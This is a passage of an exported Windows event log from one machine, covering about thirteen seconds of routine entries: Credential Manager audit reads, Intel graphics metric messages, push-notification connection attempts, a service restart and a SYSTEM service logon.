read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:34.309\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:34.369\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:34.518\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:34.649\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:34.798\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:34.939\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:35.082\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:35.092\t16384\tSuccessfully scheduled Software Protection service for re-start at 2126-08-12T01:29:35Z. Reason: RulesEngine.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:29:35.099\t903\t\"The Software Protection service has stopped.\n\"\tUndefined\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:29:35.198\t8001\t\"Skipping license manager: PFN A-Volute.Nahimic_1.10.13.0_x64__w2gh52qy24etm\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:35.199\t8001\t\"Skipping license manager: PFN A-Volute.Nahimic_1.10.13.0_x64__w2gh52qy24etm\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:35.229\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:35.396\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:35.651\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:35.893\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:35.893\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:35.893\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:35.906\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:35.907\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:36.159\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:36.305\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:36.471\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:36.527\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:36.528\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:36.528\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:36.621\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:36.763\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:36.909\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:37.157\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:37.308\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:37.563\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:37.816\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:37.964\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:38.030\t1027\t\"ReadyBoot has updated the system volume unique ID: 0x82589128D7020000B8CF8787E80000000400000000000000\n ErrorCode: 0x0\"\tInformation\tMicrosoft-Windows-ReadyBoost/Operational\tMicrosoft-Windows-ReadyBoost\n05.09.2026 08:29:38.219\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:38.381\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:38.538\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:38.694\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:38.952\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:39.112\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:39.268\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:39.432\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:39.586\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:39.742\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:39.997\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:40.143\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:40.289\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:40.451\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:40.609\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:40.762\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:40.904\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:41.053\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:41.202\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:41.359\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:41.516\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:41.765\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:41.917\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:42.173\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:42.429\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:42.684\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:42.941\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:43.193\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:43.340\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:43.588\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:43.740\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:43.896\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:44.039\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:44.184\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:44.327\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:44.475\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:44.732\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:44.984\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:45.125\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:45.275\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:45.295\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:45.295\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:45.300\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:45.300\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:45.529\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:45.673\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:45.824\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:45.980\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:46.235\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:46.490\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:46.631\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:46.776\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:47.028\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:47.176\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:47.256\t256\t[14724:14840:0905/082947.247:INFO:chrome\\browser\\extensions\\extension_garbage_collector.cc:188] Garbage collection for extensions on file thread is complete.\tInformation\tApplication\tChrome\n05.09.2026 08:29:47.322\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:47.322\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:47.422\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:47.451\t265\t1 predictions were fetched for transforms '' and PCRs 7,11. USN: 0, Matching PCRs: 1,2,3,4,5,6,7,8,9,10,11.\tInformation\tMicrosoft-Windows-PCRPF/PCRPF\tMicrosoft-Windows-PCRPF\n05.09.2026 08:29:47.568\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:47.712\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 